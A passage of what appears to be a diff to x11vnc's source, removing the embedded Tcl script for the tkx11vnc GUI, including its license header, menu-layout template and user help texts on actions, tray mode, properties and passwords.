-"# the Free Software Foundation; either version 2 of the License, or\n"
-"# (at your option) any later version.\n"
-"#\n"
-"# This software is distributed in the hope that it will be useful,\n"
-"# but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
-"# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n"
-"# GNU General Public License for more details.\n"
-"#\n"
-"# You should have received a copy of the GNU General Public License\n"
-"# along with this software; if not, write to the Free Software\n"
-"# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,\n"
-"# USA.\n"
-"\n"
-"#\n"
-"# tkx11vnc v0.2\n"
-"# This is a simple frontend to x11vnc. It uses the remote control\n"
-"# and query features (-remote/-query aka -R/-Q) to interact with it. \n"
-"# It is just a quick-n-dirty hack (it parses -help output, etc), but\n"
-"# it could be of use playing with or learning about the (way too) many\n"
-"# parameters x11vnc has.\n"
-"# \n"
-"# It can be used to interact with a running x11vnc (see the x11vnc\n"
-"# -gui option), or to set the parameters and then start up x11vnc. \n"
-"# \n"
-"\n"
-"#\n"
-"# Below is a simple picture of how the gui should be laid out and how\n"
-"# the menus should be organized. Most menu items correspond to remote\n"
-"# control commands. A trailing \":\" after the item name means it is a string\n"
-"# to be set rather than a boolean that can be toggled (e.g. the entry\n"
-"# box must be used).\n"
-"#\n"
-"# Some tweak options may be set in the prefix \"=\" string.\n"
-"# A means it is an \"Action\" (not a true variable)\n"
-"# R means it is an action only valid in remote mode.\n"
-"# S means it is an action only valid in startup mode.\n"
-"# Q means it is an action worth querying after running.\n"
-"# P means the string can be +/- appended/deleted (string may not\n"
-"# be the same after the remote command)\n"
-"# G means gui internal item\n"
-"# F means can be set via file browse\n"
-"# D means for simple gui\n"
-"# -C:val1,... means it will be a checkbox (radio button)\n"
-"# the \"-\" means no other options follow\n"
-"# 0 means to skip the item.\n"
-"# -- means add a separator\n"
-"#\n"
-"# The =GAL ... =GAL LOFF stuff is to provide submenus.\n"
-"#\n"
-"\n"
-"global env started time_count\n"
-"set started \"\"\n"
-"proc dtime {{msg \"\"}} {\n"
-" global started time_count\n"
-" if {$started == \"\"} {\n"
-" return\n"
-" }\n"
-" set diff [expr \"[exec gtod.bin] - $started\"]\n"
-" set diff [format \"%.2f\" $diff]\n"
-" incr time_count\n"
-" if {$msg == \"\"} {\n"
-" set msg $time_count\n"
-" }\n"
-" puts -nonewline stderr \"$msg $diff \" \n"
-" puts stderr [clock format [clock seconds]]\n"
-"}\n"
-"\n"
-"if [info exists env(X11VNC_GUI_TIME)] {\n"
-" global started time_count\n"
-" set started [exec gtod.bin]\n"
-" set time_count 0\n"
-" dtime \"S\"\n"
-"}\n"
-"\n"
-"proc set_template {} {\n"
-" global template\n"
-" set template \"\n"
-"Row: Actions Clients Permissions Keyboard Pointer Help\n"
-"Row: Displays Screen Tuning Debugging Misc\n"
-"\n"
-"Actions\n"
-" =SA start\n"
-" =RA stop\n"
-" --\n"
-" =DSA attach\n"
-" =DRA detach\n"
-" --\n"
-" =RA ping\n"
-" =RA update-all\n"
-" =GAL Settings::\n"
-" =GA save-settings\n"
-" =SFA load-settings:\n"
-" =SA defaults-all\n"
-" =0SA clear-all\n"
-" --\n"
-" =F rc:\n"
-" norc\n"
-" =GAL LOFF\n"
-" -- D\n"
-" =DRA stop+quit \n"
-" =DGA Quit \n"
-"\n"
-"Help\n"
-" =DGA gui\n"
-" =DGA all\n"
-"\n"
-"Clients\n"
-" =DRQA current:\n"
-" =DF connect:\n"
-" =DRQA disconnect:\n"
-" --\n"
-" accept:\n"
-" afteraccept:\n"
-" gone:\n"
-" vncconnect\n"
-" zeroconf\n"
-" -- D\n"
-" tightfilexfer\n"
-" ultrafilexfer\n"
-" proxy:\n"
-" =GAL Chat::\n"
-" chatwindow\n"
-" =DRA chaton\n"
-" =DRA chatoff\n"
-" =GAL LOFF\n"
-" =GAL Java-applet::\n"
-" =D http\n"
-" httpdir:\n"
-" httpport:\n"
-" https:\n"
-" httpsredir:\n"
-" enablehttpproxy\n"
-" =GAL LOFF\n"
-"\n"
-"Displays\n"
-" =D display:\n"
-" =F auth:\n"
-" =S reflect:\n"
-" =D desktop:\n"
-" =D rfbport:\n"
-" =S autoport:\n"
-" =0 gui:\n"
-"\n"
-"Screen\n"
-" =DRA refresh\n"
-" =RA reset\n"
-" =RA blacken\n"
-" -- D\n"
-" =D scale:\n"
-" scale_cursor:\n"
-" --\n"
-" =D solid\n"
-" solid_color:\n"
-" --\n"
-" =GAL OverlayVisuals::\n"
-" overlay\n"
-" overlay_nocursor\n"
-" 8to24\n"
-" 8to24_opts:\n"
-" =GAL LOFF\n"
-" =GAL 8-Bit-Color::\n"
-" flashcmap\n"
-" shiftcmap:\n"
-" notruecolor\n"
-" =GAL LOFF\n"
-" =GAL SubWindow::\n"
-" id:\n"
-" sid:\n"
-" =RA id_cmd:\n"
-" =GAL LOFF\n"
-" =GAL ResizeRotate::\n"
-" = xrandr\n"
-" =-C:resize,newfbsize,exit xrandr_mode:\n"
-" rotate:\n"
-" padgeom:\n"
-" =GAL LOFF\n"
-" =GAL Clipping::\n"
-" =P blackout:\n"
-" xinerama\n"
-" clip:\n"
-" =GAL LOFF\n"
-" =GAL Misc-Screen::\n"
-" fixscreen:\n"
-" visual:\n"
-" rawfb:\n"
-" pipeinput:\n"
-" uinput_accel:\n"
-" uinput_reset:\n"
-" uinput_always:\n"
-" 24to32\n"
-" =GAL LOFF\n"
-"\n"
-"Keyboard\n"
-" =D norepeat\n"
-" =D add_keysyms\n"
-" modtweak\n"
-" xkb\n"
-" --\n"
-" capslock\n"
-" skip_lockkeys\n"
-" --\n"
-" skip_keycodes:\n"
-" skip_dups\n"
-" sloppy_keys\n"
-" --\n"
-" =FP remap:\n"
-" clear_mods\n"
-" clear_keys\n"
-" clear_all\n"
-" =RA clear_locks\n"
-"\n"
-"Pointer\n"
-" =D-C:none,arrow,X,some,most cursor:\n"
-" =-C:1,2,3,4,5,6 arrow:\n"
-" --\n"
-" cursorpos\n"
-" =D nocursorshape\n"
-" --\n"
-" noxfixes\n"
-" cursor_drag\n"
-" =GAL AlphaBlending::\n"
-" noalphablend\n"
-" alphacut:\n"
-" alphafrac:\n"
-" alpharemove\n"
-" =GAL LOFF\n"
-" --\n"
-" buttonmap:\n"
-" --\n"
-" xwarppointer\n"
-" always_inject\n"
-"\n"
-"Misc\n"
-" =GD-C:full,icon,tray WindowView:\n"
-" =GD simple-gui\n"
-" -- D\n"
-" =GA all-settings\n"
-" =RA remote-cmd:\n"
-" =GAL Selection::\n"
-" =D nosel\n"
-" noprimary\n"
-" nosetprimary\n"
-" noclipboard\n"
-" nosetclipboard\n"
-" seldir:\n"
-" =GAL LOFF\n"
-" =GAL X-ext::\n"
-" xtrap\n"
-" noxrecord\n"
-" =RQA reset_record\n"
-" =GAL LOFF\n"
-" =GAL MacOSX::\n"
-" macnosaver\n"
-" macnowait\n"
-" macwheel:\n"
-" macnoswap\n"
-" macnoresize\n"
-" maciconanim:\n"
-" macmenu\n"
-" =GAL LOFF\n"
-" --\n"
-" 6\n"
-" noipv6\n"
-" noipv4\n"
-" --\n"
-" nofb\n"
-" =D nobell\n"
-" nolookup\n"
-" rfbversion:\n"
-" bg\n"
-" =S loop\n"
-" =S loopbg\n"
-" =S sleepin:\n"
-" =-C:ignore,exit sigpipe:\n"
-" =0 inetd\n"
-"\n"
-"Debugging\n"
-" debug_pointer\n"
-" debug_keyboard\n"
-" =F logfile:\n"
-" =GA show-logfile\n"
-" =GA tail-logfile\n"
-" quiet\n"
-" --\n"
-" =GA show-start-cmd\n"
-" =DG debug_gui\n"
-" =GAL Misc-Debug::\n"
-" debug_xevents\n"
-" debug_xdamage\n"
-" =-C:0,1,2,3 debug_wireframe:\n"
-" debug_scroll\n"
-" debug_tiles\n"
-" debug_grabs\n"
-" debug_sel\n"
-" debug_ncache\n"
-" dbg\n"
-" =GAL LOFF\n"
-"\n"
-"Permissions\n"
-" =DRQA lock\n"
-" =DRQA unlock\n"
-" =D shared\n"
-" =D forever\n"
-" --\n"
-" =DFP allow:\n"
-" =D localhost\n"
-" =RA allowonce:\n"
-" listen:\n"
-" -- D\n"
-" =D viewonly\n"
-" input:\n"
-" --\n"
-" =GAL Passwords::\n"
-" passwd:\n"
-" viewpasswd:\n"
-" =F passwdfile:\n"
-" =F rfbauth:\n"
-" usepw\n"
-" --\n"
-" unixpw\n"
-" unixpw_list:\n"
-" unixpw_nis\n"
-" unixpw_nis_list:\n"
-" =0 storepasswd\n"
-" =GAL LOFF\n"
-" =GAL SSL::\n"
-" ssl\n"
-" =F ssl_pem:\n"
-" stunnel\n"
-" =F stunnel_pem:\n"
-" =F ssldir:\n"
-" =F sslverify:\n"
-" ssltimeout:\n"
-" --\n"
-" enc:\n"
-" =GAL LOFF\n"
-" =GAL Misc-Perms::\n"
-" safer\n"
-" unsafe\n"
-" =RA noremote\n"
-" =0S alwaysshared\n"
-" =0S nevershared\n"
-" =0S dontdisconnect\n"
-" =SQA deny_all\n"
-" timeout:\n"
-" grabkbd\n"
-" grabptr\n"
-" grabalways\n"
-" grablocal:\n"
-" forcedpms\n"
-" clientdpms\n"
-" noserverdpms\n"
-" noultraext\n"
-" =GAL LOFF\n"
-"\n"
-"Tuning\n"
-" =D-C:0,1,2,3,4 pointer_mode:\n"
-" input_skip:\n"
-" allinput\n"
-" =D nodragging\n"
-" -- D\n"
-" speeds:\n"
-" =D wait:\n"
-" defer:\n"
-" =D nap\n"
-" screen_blank:\n"
-" --\n"
-" =GAL WireFrame::\n"
-" wireframe\n"
-" wireframe_mode:\n"
-" =-C:never,top,always wirecopyrect:\n"
-" =GAL LOFF\n"
-" =GAL ScrollCopyRect::\n"
-" =-C:never,keys,mouse,always scrollcopyrect:\n"
-" scr_area:\n"
-" scr_skip:\n"
-" scr_inc:\n"
-" scr_keys:\n"
-" scr_term:\n"
-" scr_keyrepeat:\n"
-" scr_parms:\n"
-" =GAL LOFF\n"
-" =GAL XDAMAGE::\n"
-" xdamage\n"
-" xd_area:\n"
-" xd_mem:\n"
-" =GAL LOFF\n"
-" =GAL Ncache::\n"
-" ncache\n"
-" ncache_size:\n"
-" ncache_cr\n"
-" ncache_no_moveraise\n"
-" ncache_no_dtchange\n"
-" ncache_old_wm\n"
-" ncache_no_rootpixmap\n"
-" ncache_keep_anims\n"
-" ncache_pad:\n"
-" =RA ncache_reset_rootpixmap\n"
-" =GAL LOFF\n"
-" --\n"
-" =GAL SharedMemory::\n"
-" noshm\n"
-" flipbyteorder\n"
-" onetile\n"
-" =GAL LOFF\n"
-" =GAL Misc-Tuning::\n"
-" progressive:\n"
-" fs:\n"
-" gaps:\n"
-" grow:\n"
-" fuzz:\n"
-" extra_fbur:\n"
-" wait_ui:\n"
-" setdefer:\n"
-" nowait_bog\n"
-" slow_fb:\n"
-" xrefresh:\n"
-" readtimeout:\n"
-" snapfb\n"
-" threads\n"
-" wmdt:\n"
-" rfbwait:\n"
-" nodpms\n"
-" nofbpm\n"
-" =GAL LOFF\n"
-"\"\n"
-"}\n"
-"\n"
-"proc set_internal_help {} {\n"
-" global helptext helpall\n"
-"\n"
-" # set some internal item help here:\n"
-" set helptext(start) \"\n"
-"Launch x11vnc with the settings you have prescribed in the gui.\n"
-"The x11vnc process is started in an xterm window so you can see the\n"
-"output, kill it, etc.\n"
-"\n"
-"By viewing this help item, the command built so far will be displayed\n"
-"in the gui text area. Have a look. If you Press start it will be shown\n"
-"as well and you will be asked to confirm running it.\n"
-"\n"
-"If you want to use a saved profile \\\"rc file\\\" you can do \\\"Misc -> rc\\\" and\n"
-"select the file and simply start x11vnc using the rc file. Alternatively,\n"
-"you could first use the \\\"Actions -> load-settings\\\" action to load in\n"
-"an \\\"rc file\\\" and then press \\\"Actions -> start\\\" to start up x11vnc\n"
-"based on those values.\n"
-"\"\n"
-" set helptext(stop) \"\n"
-"The \\\"Actions -> stop\\\" action sends a signal to the running x11vnc\n"
-"server indicating it should shutdown all connections and exit.\n"
-"\n"
-"The GUI stays running in case you want to start a new x11vnc or attach\n"
-"to another one. Use \\\"Actions -> Quit\\\" if you then want to have the\n"
-"gui exit. Use \\\"Actions -> stop+quit\\\" to have both exit at once.\n"
-"\"\n"
-"\n"
-" set helptext(show-start-cmd) \"\n"
-"Displays in the text area what the x11vnc start command (i.e. the command\n"
-"run by \\\"Actions -> start\\\") looks like for the current values of the\n"
-"settings. This can be done even in the attached state. Intended for\n"
-"debugging the gui. The help item for \\\"Actions -> start\\\" gives the\n"
-"same info.\n"
-"\n"
-"If you want to load in a saved profile \\\"rc file\\\" use \\\"Misc -> rc\\\"\n"
-"and select the file. \\\"Actions -> load-settings\\\" does a similar thing\n"
-"with an rc-file, but reading the file and setting the gui variables to\n"
-"its values.\n"
-"\"\n"
-"\n"
-" set helptext(debug_gui) \"\n"
-"Set debug_gui to get more output printed in the text area.\n"
-"\"\n"
-"\n"
-" set helptext(detach) \"\n"
-"No longer be associated with the x11vnc server. Switch to the\n"
-"non-connected state. The x11vnc server keeps running: it does not exit.\n"
-"\n"
-"You can either later reattach to it \\\"Actions -> attach\\\", or start\n"
-"up a new x11vnc \\\"Actions -> start\\\", or exit \\\"Actions -> Quit\\\".\n"
-"\"\n"
-"\n"
-" set helptext(attach) \"\n"
-"Attach to a running x11vnc server, if possible. Switches to connected\n"
-"state if successful. Usually the channel used to attach is via the X\n"
-"display (VNC_CONNECT rootwin property) being polled by the x11vnc server.\n"
-"To change or set the X display to use do \\\"Displays -> display\\\".\n"
-"\n"
-"Sometimes the \\\"-connect /path/to/filename\\\" is used as the communcation\n"
-"channel. The running x11vnc has to know that \\\"/path/to/filename\\\"\n"
-"is the communication channel (i.e. it is using the same -connect option).\n"
-"\"\n"
-"\n"
-" set helptext(ping) \"\n"
-"Check if x11vnc still responds to \\\"ping\\\" remote command.\n"
-"\"\n"
-"\n"
-" set helptext(update-all) \"\n"
-"Query the x11vnc server for the current values of all variables.\n"
-"Populate the values into the gui's database.\n"
-"\n"
-"Normally the gui will refresh this info every time it interacts with\n"
-"the x11vnc server (including after a few minutes of inactivity), so one\n"
-"doesn't need to use this action very often (unless something else is\n"
-"changing the state of the x11vnc server, or new clients have connected,\n"
-"etc).\n"
-"\"\n"
-"\n"
-" set helptext(clear-all) \"\n"
-"Forget any variable settings either entered in by you or set at the\n"
-"default. Basically sets everything to 0 or the string (unset).\n"
-"\n"
-"This action is only available in \\\"startup\\\" mode, not when connected\n"
-"to a running x11vnc server (in that case the variable settings reflect\n"
-"the state of the running x11vnc). To detach from a running x11vnc\n"
-"server use \\\"Actions -> detach\\\"; to completely stop the x11vnc server\n"
-"use \\\"Actions -> stop\\\".\n"
-"\"\n"
-"\n"
-" set helptext(defaults-all) \"\n"
-"Reset all variable settings to the default values. Basically sets\n"
-"everything to the default queries \\\"x11vnc -QD var\\\" retrieved at startup.\n"
-"\n"
-"This action is only available in \\\"startup\\\" mode, not when connected\n"
-"to a running x11vnc server (in that case the variable settings reflect\n"
-"the state of the running x11vnc). To detach from a running x11vnc\n"
-"server use \\\"Actions -> detach\\\"; to completely stop the x11vnc server\n"
-"use \\\"Actions -> stop\\\".\n"
-"\"\n"
-"\n"
-" set helptext(load-settings) \"\n"
-"Read in the \\\"rc file\\\" you prescribe in the dialog and then set the\n"
-"variables to those in the rc-file. Any variables not mentioned in the\n"
-"rc-file are set to their default value.\n"
-"\n"
-"You could then do \\\"Actions -> start\\\" to start x11vnc with these\n"
-"parameters. Or you could make some further changes to variables\n"
-"using the gui before starting x11vnc.\n"
-"\n"
-"This action is only available in \\\"startup\\\" mode, not when connected\n"
-"to a running x11vnc server (in that case the variable settings reflect\n"
-"the state of the running x11vnc). To detach from a running x11vnc\n"
-"server use \\\"Actions -> detach\\\"; to completely stop the x11vnc server\n"
-"use \\\"Actions -> stop\\\".\n"
-"\"\n"
-"\n"
-" set helptext(save-settings) \"\n"
-"Construct a ~/.x11vncrc file based on the current settings and\n"
-"offer to save it in a file (default ~/.x11vncrc). If saved in a\n"
-"file other than the default, you can access the profile by using\n"
-"the \\\"-rc <filename>\\\" option when starting x11vnc.\n"
-"\n"
-"If an rc file entry begins with \\\"#d\\\" that means the current\n"
-"setting is at the Default value and so you probably want to leave\n"
-"it commented out with the \\\"#\\\" character.\n"
-"\n"
-"If an rc file entry begins with \\\"#?\\\" that means we think\n"
-"you probably do not really want to force the value to this setting.\n"
-"\n"
-"In either case, feel free to uncomment the line and/or change any\n"
-"of the parameter values in the file. \n"
-"\"\n"
-"\n"
-" set helptext(all-settings) \"\n"
-"Displays the gui's database of all of the x11vnc server's current\n"
-"settings. Use \\\"Actions -> update-all\\\" or \\\"Control+R\\\" to\n"
-"refresh this list if it ever gets out of sync.\n"
-"\"\n"
-"\n"
-" set helptext(remote-cmd) \"\n"
-"Run a remote command (-R) or query (-Q) directly. Only a few\n"
-"remote commands are not on a menu, but for those few you can\n"
-"run the command directly this way. Just enter the command into\n"
-"the Entry box when prompted. Use the prefix \\\"Q:\\\" to indicate\n"
-"a -Q query. Examples: \\\"zero:20,20,100,100\\\", \\\"Q:ext_xfixes\\\" \n"
-"\"\n"
-"\n"
-" set helptext(stop+quit) \"\n"
-"Send the stop command to the x11vnc server, then terminate the tkx11vnc gui.\n"
-"\"\n"
-"\n"
-" set helptext(show-logfile) \"\n"
-"View the current contents of the logfile (if it exists and is accessible\n"
-"by the gui process).\n"
-"\"\n"
-"\n"
-" set helptext(tail-logfile) \"\n"
-"Run the tail(1) command with -f option on the logfile in an xterm.\n"
-"(if it exists and is accessible by the gui process).\n"
-"\"\n"
-"\n"
-" set helptext(Quit) \"\n"
-"Terminate the tkx11vnc gui. Any x11vnc server will be left running.\n"
-"\"\n"
-"\n"
-" set helptext(current) \"\n"
-"Shows a menu of currently connected VNC clients on the x11vnc server.\n"
-"\n"
-"Allows you to find more information about them, change their input\n"
-"permissions, or disconnect them.\n"
-"\n"
-"Note that the File transfer permission only applies to UltraVNC\n"
-"file transfer, not TightVNC file transfer.\n"
-"\n"
-"You will be prompted to confirm any disconnections.\n"
-"\"\n"
-"\n"
-" set helptext(client) \"\n"
-"After selecting a VNC client from the \\\"Clients -> current\\\" menu,\n"
-"you will be presented with a dialog that shows the information\n"
-"about the VNC client.\n"
-"\n"
-"You can choose to disconnect the client by clicking on the \n"
-"\\\"Disconnect\\\" checkbox and pressing \\\"OK\\\". There will be a\n"
-"confirmation dialog to doublecheck.\n"
-"\n"
-"Alternatively, you can fine tune the VNC client's input permissions\n"
-"by selecting any of the Keystrokes, Mouse-Motion, Button-Click,\n"
-"Clipboard-Input, or Files checkboxes and pressing \\\"OK\\\". This is like\n"
-"the \\\"-input\\\" option but on a per-client basis.\n"
-"\n"
-"To not change any aspects of the VNC client press \\\"Cancel\\\".\n"
-"\"\n"
-"\n"
-" set helptext(solid_color) \"\n"
-"Set the -solid color value.\n"
-"\"\n"
-"\n"
-" set helptext(xrandr_mode) \"\n"
-"Set the -xrandr mode value.\n"
-"\"\n"
-"\n"
-" set helptext(unixpw_list) \"\n"
-"Set the -unixpw usernames list value.\n"
-"\"\n"
-"\n"
-" set helptext(unixpw_nis_list) \"\n"
-"Set the -unixpw_nis usernames list value.\n"
-"\"\n"
-"\n"
-" set helptext(stunnel_pem) \"\n"
-"Set the -stunnel pem filename value.\n"
-"\"\n"
-"\n"
-" set helptext(ssl_pem) \"\n"
-"Set the -ssl pem filename value.\n"
-"\"\n"
-"\n"
-" set helptext(wireframe_mode) \"\n"
-"Set the -wireframe mode string value.\n"
-"\"\n"
-"\n"
-" set helptext(simple-gui) \"\n"
-"Toggle between menu items corresponding the most basic ones\n"
-"and all possible settings. I.e. toggle between a simple gui\n"
-"and one for power users.\n"
-"\"\n"
-"\n"
-" set helptext(Tray) \"\n"
-"The tray/icon mode (started with \\\"x11vnc -gui tray ...\\\", etc.) presents\n"
-"a small icon that indicates the status of the running x11vnc server.\n"
-"\n"
-"Depending on your environment, this icon may be embedded in a system\n"
-"tray or applet dock, or simply be a standalone window. \\\"-gui tray\\\"\n"
-"will attempt to embed the icon in the system tray, while \\\"-gui icon\\\"\n"
-"is for a standalone window. Use \\\"-gui tray=setpass\\\" (or icon=setpass)\n"
-"to be prompted to set the session password at startup.\n"
-"\n"
-"When the icon has a light background, that means no VNC viewers are\n"
-"currently connected to the VNC display.\n"
-"\n"
-"When the icon has a dark background (i.e. reverse-video), that means at\n"
-"least one VNC viewer is connected to the VNC display.\n"
-"\n"
-"Moving the mouse pointer over the icon will popup a \\\"status balloon\\\"\n"
-"indicating the VNC display name and the names and info of any connected VNC\n"
-"viewers. Press the middle mouse button if the balloon does not appear.\n"
-"\n"
-"Clicking the left or right mouse button on the icon displays a menu\n"
-"of actions:\n"
-"\n"
-" Properties - Brings up the Properties dialog to set some basic\n"
-" parameters. The full tkx11vnc GUI may be accessed\n"
-" via the \\\"Advanced ...\\\" button. Press \\\"Help\\\"\n"
-" in the Properties dialog for more info.\n"
-" \n"
-" Help - Displays this help text.\n"
-" \n"
-" New Client - Presents an entry box where you type in the name\n"
-" of a computer that is running a VNC viewer in\n"
-" \\\"listen\\\" mode (e.g. vncviewer -listen). For a\n"
-" non-standard listening port use \\\"host:port\\\".\n"
-"\n"
-" Pressing \\\"OK\\\" will initiate the reverse\n"
-" connection. Use a blank hostname to skip it.\n"
-" \n"
-" Disconnect - Shows a popup menu of connected clients. Click on\n"
-" one to disconnect it, or click on \\\"All Clients\\\"\n"
-" disconnect all clients.\n"
-"\n"
-" Window View - Switch between the \\\"full\\\" gui (also known as\n"
-" \\\"Advanced\\\"), \\\"icon\\\" mode (small icon window with\n"
-" popups), or \\\"tray\\\" mode (small icon embedded in the\n"
-" system tray). This is a shortcut for the action:\n"
-" \\\"Properties -> Advanced -> Misc -> WindowView\\\".\n"
-" \n"
-" Stop x11vnc - Directs the x11vnc server to disconnect all vncviewers\n"
-" and then exit. The tray/icon GUI then exits as well.\n"
-"\n"
-" Logfile - Show the logfile if x11vnc is being run with one.\n"
-"\n"
-" Custom - If you have a \\$HOME/.x11vnc.gui file each uncommented\n"
-" line in it becomes an additional menu item for this\n"
-" menu. The remote control command is run directly\n"
-" via \\\"x11vnc -R <command>\\\", or if prefixed with \n"
-" \\\"action:\\\" runs a gui internal action, or if \\\"sep\\\"\n"
-" adds a separator. Set X11VNC_CUSTOM_GUI to use\n"
-" a different filename. Example file contents:\n"
-"\n"
-" scale:3/4\n"
-" scale:1\n"
-" scale_cursor:1\n"
-" sep\n"
-" action:all-settings\n"
-" #debug_keyboard\n"
-" sep\n"
-" action:Quit\n"
-"\n"
-"Termination:\n"
-"\n"
-"If the x11vnc server stops for any reason, the tray/icon gui will exit.\n"
-"\n"
-"If you delete the tray/icon (e.g. X out button), that is the same\n"
-"as the \\\"Stop x11vnc\\\" action in the menu. (This will disconnect any\n"
-"VNC viewer you are currently using to access the display since the\n"
-"x11vnc server is terminated).\n"
-"\n"
-"To terminate the tray/icon gui window but not the x11vnc server press\n"
-"Control-C on the tray/icon window. You can also do this (and much\n"
-"more) via Properties -> Advanced -> Actions -> Quit\n"
-"\"\n"
-"\n"
-" set helptext(NewClient) \"\n"
-" New Client - Presents an entry box where you type in the name\n"
-" of a computer that is running a VNC viewer in\n"
-" \\\"listen\\\" mode (e.g. vncviewer -listen). For a\n"
-" non-standard listening port use \\\"host:port\\\".\n"
-"\n"
-" Pressing \\\"OK\\\" will initiate the reverse\n"
-" connection. Use a blank hostname to skip it, or\n"
-" delete (\\\"X-out\\\") the window.\n"
-" \n"
-"\"\n"
-"\n"
-" set helptext(Properties) \"\n"
-"The Properties dialog allows you to set some basic parameters of a\n"
-"running x11vnc server. After modifying them press \\\"OK\\\" or \\\"Apply\\\"\n"
-"to apply the changes, or press \\\"Cancel\\\" to skip applying them.\n"
-"\n"
-" Accept Connections:\n"
-"\n"
-" Toggles whether VNC viewers are allowed to connect or not. It corresponds\n"
-" to the \\\"-R unlock\\\" and \\\"-R lock\\\" remote-control commands.\n"
-"\n"
-" Ask for Confirmation:\n"
-"\n"
-" Toggles whether a popup menu will be presented at the X display when\n"
-" a new VNC viewer attempts to connect. The person sitting at the X\n"
-" display can choose to accept or reject the connection or accept the\n"
-" connection in ViewOnly mode. It corresponds to the \\\"-R accept:popup\\\"\n"
-" and \\\"-R accept:\\\" remote-control commands.\n"
-" \n"
-" All Clients ViewOnly:\n"
-"\n"
-" Toggles whether the entire VNC desktop is view only. All clients\n"
-" will only be able to watch when this is set (regardless of how they\n"
-" logged in). It corresponds to the \\\"-R viewonly\\\" and \\\"-R noviewonly\\\"\n"
-" remote-control commands.\n"
-" \n"
-" Shared:\n"
-"\n"
-" Toggles whether multiple simultaneous viewer connections are allowed\n"
-" or not. It corresponds to the \\\"-R shared\\\" and \\\"-R noshared\\\"\n"
-" remote-control commands.\n"
-"\n"
-" Advertise Service (Zeroconf):\n"
-"\n"
-" Toggles whether this VNC server should advertize itself via Zeroconf\n"
-" (also called Bonjour, mDNS, and avahi). Then VNC viewers can then find\n"
-" this service on the local network. It corresponds to the \\\"-R zeroconf\\\"\n"
-" and \\\"-R nozeroconf\\\" remote-control commands.\n"
-"\n"
-" Serve Java Viewer Applet:\n"
-"\n"
-" Toggles whether this VNC server should serve up a Java VNC Viewer\n"
-" applet via HTTP on http://hostname:5800/ (or port 5800+n for VNC\n"
-" port 5900+n). A java enabled Web Browser can then connect to the\n"
-" desktopby VNC. If SSL is active then the HTTPS URL https://hostname:5900/\n"
-" (etc.) will work as well. This requires the x11vnc java viewer jar file\n"
-" (shared/x11vnc/classes) to be installed. It corresponds to the\n"
-" \\\"-R http\\\" and \\\"-R nohttp\\\" remote commands.\n"
-"\n"
-" Solid Background Color:\n"
-"\n"
-" To improve VNC performance, if this option is set, then x11vnc will try\n"
-" to make the desktop background a solid color (which compresses extremely\n"
-" well compared to photo images, etc.) It corresponds to the \\\"-R solid\\\"\n"
-" and \\\"-R nosolid\\\" remote commands.\n"
-"\n"
-" Password:\n"
-"\n"
-" Lets you set the session password viewers may use to gain full access\n"
-" to the display. This will only work if x11vnc was started with the\n"
-" -gui icon or -gui tray mode.\n"
-" \n"
-" ViewOnly Password:\n"
-"\n"
-" Lets you set the session password viewers may use to gain view only\n"
-" access to the display. This will only work if x11vnc was started with\n"
-" the -gui icon or -gui tray mode.\n"
-"\n"
-"\n"
-" NOTE: These \\\"session\\\" passwords only last for the current x11vnc\n"
-" session (they are not remembered, see the -storepasswd, -passwdfile,\n"
-" and -rfbauth x11vnc options for using stored passwords).\n"
-"\n"
-" If you set \\\"Password\\\" to the empty string that makes the \\\"ViewOnly\n"
-" Password\\\" empty as well and removes the need for any password to log in.\n"
-"\n"
-" If you set \\\"ViewOnly Password\\\" to the empty string that just removes\n"
-" the ViewOnly log in aspect: \\\"Password\\\" is still required to log in.\n"
-"\n"
-" - The \\\"Help\\\" button shows this help text.\n"
-" \n"
-" - The \\\"Advanced ...\\\" button replaces the Properties dialog with the full\n"
-" tkx11vnc GUI. All dynamic settings can be modified in the full GUI.\n"
-"\n"
-"\n"
-"==========================================================================\n"
-"\n"
-"Don't Lock Yourself Out:\n"
-"\n"
-" If you are sitting at the physical X display you cannot get into too\n"
-" much trouble setting the Properties dialog values.\n"
-"\n"
-" However IF you are using a VNC Viewer to REMOTELY access the X display\n"
-" some items in the Properties dialog can lock you out of further access:\n"
-"\n"
-" \\\"Accept Connections\\\" if you disable this remotely, and\n"
-" accidentally disconnect your VNC viewer then you will not be\n"
-" able to reconnect.\n"
-" \n"
-" \\\"Ask for Confirmation\\\" if you enable this only someone\n"
-" sitting at the X display can confirm any new VNC connections.\n"
-" Furthermore, any current VNC viewers will be blocked while\n"
-" waiting for the confirmation (times out in 120 sec by default). \n"
-" \n"
-" \\\"All Clients ViewOnly\\\" if you enable this remotely, well\n"
-" you can no longer provide input to disable it.\n"
-" \n"
-" If you do lock yourself out you could log in remotely and start up\n"
-" a second x11vnc and connect to that one to try to fix things in the\n"
-" first one.\n"
-"\n"
-" Note that if there are two or more x11vnc's on the same display the\n"
-" use of the GUI may be ill-behaved. Terminate the second x11vnc as\n"
-" soon as you have fixed the setting in the first one. Use of a remote\n"
-" control command, e.g. \\\"x11vnc -R noviewonly\\\" or \\\"x11vnc -R unlock\\\"\n"
-" is a good way to avoid this problem.\n"
-"\"\n"
-"\n"
-" set helptext(all) $helpall\n"
-"\n"
-" set helptext(Misc-Tuning:) \"\n"
-"x11vnc has what seems like hundreds of tuning parameters! In this\n"
-"sub-menu we place some lesser used ones. Most likely you'll want to\n"
-"leave them at their default values, but you can try them out quickly\n"
-"with the gui to see if they improve things.\n"
-"\"\n"
-"\n"
-" set helptext(Passwords:) \"\n"
-"The items in this sub-menu pertain to setting passwords. Note that x11vnc\n"
-"has two types of password files: RealVNC-style ones (you can create them\n"
-"with x11vnc -storepasswd or other VNC utility program) you use these\n"
-"via -rfbauth; and plain-text file passwords you use via -passwdfile.\n"
-"\n"
-"Normally passwords cannot be changed by remote-control (e.g. the gui),\n"
-"but for the case of the \\\"Icon\\\" and \\\"Tray\\\" modes this constraint has\n"
-"been relaxed.\n"
-"\n"
-"In neither the RealVNC-style nor the plain-text file cases should the\n"
-"password files be readable by users you do not want to access the VNC\n"
-"server. Contrary to popular belief, the RealVNC-style passwords are\n"
-"not encrypted, merely obscured.\n"
-"\n"
-"x11vnc has the even less secure -passwd and -viewpasswd supplied on\n"
-"the command line. Be careful with these since they could be read by\n"
-"users with something like the ps(1) command. On some operating systems\n"
-"x11vnc tries to quickly overwrite them on the command line but it doesn't\n"
-"work everywhere.\n"
-"\n"
-"Regarding ViewOnly passwords (where a VNC client using that password\n"
-"can only watch the screen, not interact with it), this is not available\n"
